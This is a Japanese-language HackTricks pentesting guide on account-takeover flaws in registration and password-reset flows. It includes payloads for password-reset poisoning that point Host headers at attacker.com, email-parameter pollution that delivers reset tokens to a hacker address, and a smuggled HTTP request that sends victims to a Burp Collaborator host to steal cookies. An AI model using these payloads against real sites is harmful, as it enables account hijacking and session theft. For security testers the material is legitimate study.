hacktricks/pentesting-web/registration-vulnerabilities.md

12 KiB
Raw Blame History

登録と乗っ取りの脆弱性

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

WhiteIntel

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかを確認する無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

{% embed url="https://whiteintel.io" %}


登録の乗っ取り

重複登録

  • 既存のユーザー名を使用して生成を試みる
  • メールアドレスを変更して確認する:
    • 大文字
    • +1@
    • メールにいくつかのドットを追加
    • メール名に特殊文字(%00、%09、%20
    • メールの後に黒い文字を入れる:test@test.com a
    • victim@gmail.com@attacker.com
    • victim@attacker.com@gmail.com

ユーザー名の列挙

ユーザー名がアプリケーション内で既に登録されているかどうかを確認します。

パスワードポリシー

ユーザーを作成するときにパスワードポリシーを確認します(弱いパスワードを使用できるかどうかを確認します)。
その場合、資格情報をブルートフォースで試すことができます。

SQLインジェクション

このページをチェックして、登録フォームでSQLインジェクションを使用してアカウント乗っ取りを試みたり情報を抽出したりする方法を学びます。

Oauth乗っ取り

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML脆弱性

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

メールアドレスの変更

登録後、メールアドレスを変更して、この変更が正しく検証されるか、または任意のメールアドレスに変更できるかを確認します。

その他のチェック

  • 使い捨てメールを使用できるかどうかを確認する
  • 長い パスワード>200DoSにつながる
  • アカウント作成のレート制限を確認する
  • username@burp_collab.netを使用してコールバックを分析する

パスワードリセットの乗っ取り

リファラ経由のパスワードリセットトークンの漏洩

  1. メールアドレスにパスワードリセットをリクエストする
  2. パスワードリセットリンクをクリックする
  3. パスワードを変更しない
  4. 任意の第三者ウェブサイトFacebook、Twitterをクリックする
  5. Burp Suiteプロキシでリクエストをインターセプトする
  6. リファラヘッダーがパスワードリセットトークンを漏洩しているかどうかを確認する。

パスワードリセットポイズニング

  1. Burp Suiteでパスワードリセットリクエストをインターセプトする
  2. Burp Suiteで次のヘッダーを追加または編集するHost: attacker.comX-Forwarded-Host: attacker.com
  3. 修正されたヘッダーを使用してリクエストを転送する
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. _hostヘッダー_に基づいたパスワードリセットURLを探すhttps://attacker.com/reset-password.php?token=TOKEN

メールパラメータ経由のパスワードリセット

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

APIパラメーターにおけるIDOR

  1. 攻撃者は自分のアカウントでログインし、パスワード変更 機能に移動します。
  2. Burp Suiteを起動し、リクエストをインターセプトします。
  3. それをリピータータブに送信し、パラメーターを編集しますユーザーID/メール
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

弱いパスワードリセットトークン

パスワードリセットトークンはランダムに生成され、毎回一意である必要があります。
トークンが期限切れかどうか、常に同じかどうかを判断してください。場合によっては、生成アルゴリズムが弱く、推測される可能性があります。次の変数がアルゴリズムに使用されるかもしれません。

  • タイムスタンプ
  • ユーザーID
  • ユーザーのメールアドレス
  • 名前と姓
  • 生年月日
  • 暗号化
  • 数字のみ
  • 小さなトークンシーケンス([A-Z,a-z,0-9]の文字)
  • トークンの再利用
  • トークンの有効期限

パスワードリセットトークンの漏洩

  1. 特定のメールtest@mail.comを使用してAPI/UIを介してパスワードリセットリクエストをトリガーします。
  2. サーバーの応答を検査し、resetTokenを確認します。
  3. 次に、次のようなURLでトークンを使用しますhttps://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

ユーザー名の衝突を利用したパスワードリセット

  1. 犠牲者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白が挿入されています。例:"admin "
  2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
  3. メールに送信されたトークンを使用して、犠牲者のパスワードをリセットします。
  4. 新しいパスワードで犠牲者のアカウントに接続します。

プラットフォームCTFdはこの攻撃に対して脆弱でした。
参照:CVE-2020-7245

クロスサイトスクリプティングによるアカウント乗っ取り

  1. アプリケーション内またはクッキーが親ドメインにスコープされている場合のサブドメイン内のXSSを見つけます*.domain.com
  2. 現在のセッションクッキーを漏洩させます。
  3. クッキーを使用してユーザーとして認証します。

HTTPリクエストスマグリングによるアカウント乗っ取り

  1. smugglerを使用してHTTPリクエストスマグリングのタイプを検出しますCL、TE、CL.TE
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. POST / HTTP/1.1を次のデータで上書きするリクエストを作成します:
    GET http://something.burpcollaborator.net HTTP/1.1 X: 目的は、被害者をburpcollabにリダイレクトしてクッキーを盗むことです。\
  3. 最終リクエストは次のようになります。
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

CSRFを利用したアカウント乗っ取り

  1. CSRF用のペイロードを作成する、例: "パスワード変更のための自動送信付きHTMLフォーム"
  2. ペイロードを送信する

JWTを利用したアカウント乗っ取り

JSON Web Tokenはユーザーの認証に使用される可能性があります。

  • 別のユーザーID/メールでJWTを編集する
  • 弱いJWT署名をチェックする

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

参考文献

WhiteIntel

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗まれたマルウェアによって侵害されていないかをチェックする無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

{% embed url="https://whiteintel.io" %}

**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからAWSハッキングをマスターしましょう htARTE (HackTricks AWS Red Team Expert)!

HackTricksをサポートする他の方法: